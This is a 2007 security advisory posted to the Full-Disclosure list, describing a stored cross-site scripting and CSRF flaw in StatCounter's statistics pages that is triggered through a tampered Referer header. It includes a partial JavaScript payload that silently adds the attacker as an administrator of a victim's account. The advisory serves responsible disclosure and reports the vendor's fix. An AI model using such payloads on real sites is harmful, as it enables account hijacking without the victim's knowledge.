1. DESCRIPTION OF THE SOFTWARE StatCounter.com is a free yet reliable invisible web tracker, highly configurable hit counter as well as a real-time detailed web stats tool. Insert a simple piece of our code on your web page or blog and you will be able to analyse and monitor all the visitors to your website in real-time! [from statcounter.com] 2. DESCRIPTION OF THE VULNERABILITY The referrer field is taken from the HTTP header generated by the user with his browser. So it's a user-input and it is therefore possibile to tamper with it. This is a snip of the code taken from the section "Came From" of the statistics page on statcounter.com ... drill
down1www.google.it/?q=stat+counter ... If an attacker creates an HTTP request with this header, an alert box will be displayed when the blogger reads his stats: Referer:http://www.domain.it">1http://www.domain.it"> var img = new Image(); img.src = 'http://'+document.domain+'/users/add.php?postback=1&username=MyUserName&etc...'; //this is not all parameters needed Note that the original form method is POST but the PHP page retrieves the parameter with a $_REQUEST method and the"document.domain" is necessary because Stat Counter uses a different Web server for load balancing. In this way an attacker can, silently, add himself/herself, with administrative privileges, to statistics panel of a compromised account and he/she can execute some JavaScript code. No user interaction is needed. 4. IMPACT The impact of this vulnerability is HIGH for integrity of Stat Counter customer account. 5. TIME LINE 05/07/2007 - Vendor contacted 16/07/2007 - Vendor solved XSS bug 17/07/2007 - Vendor working on CSRF bug 23/07/2007 - PUBLIC DISCLOSURE -- Matteo Carli matteo@matteocarli.com | web: www.matteocarli.com GPG keyID: 0xD20BA70A | GnuPG key server: pgp.mit.edu _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/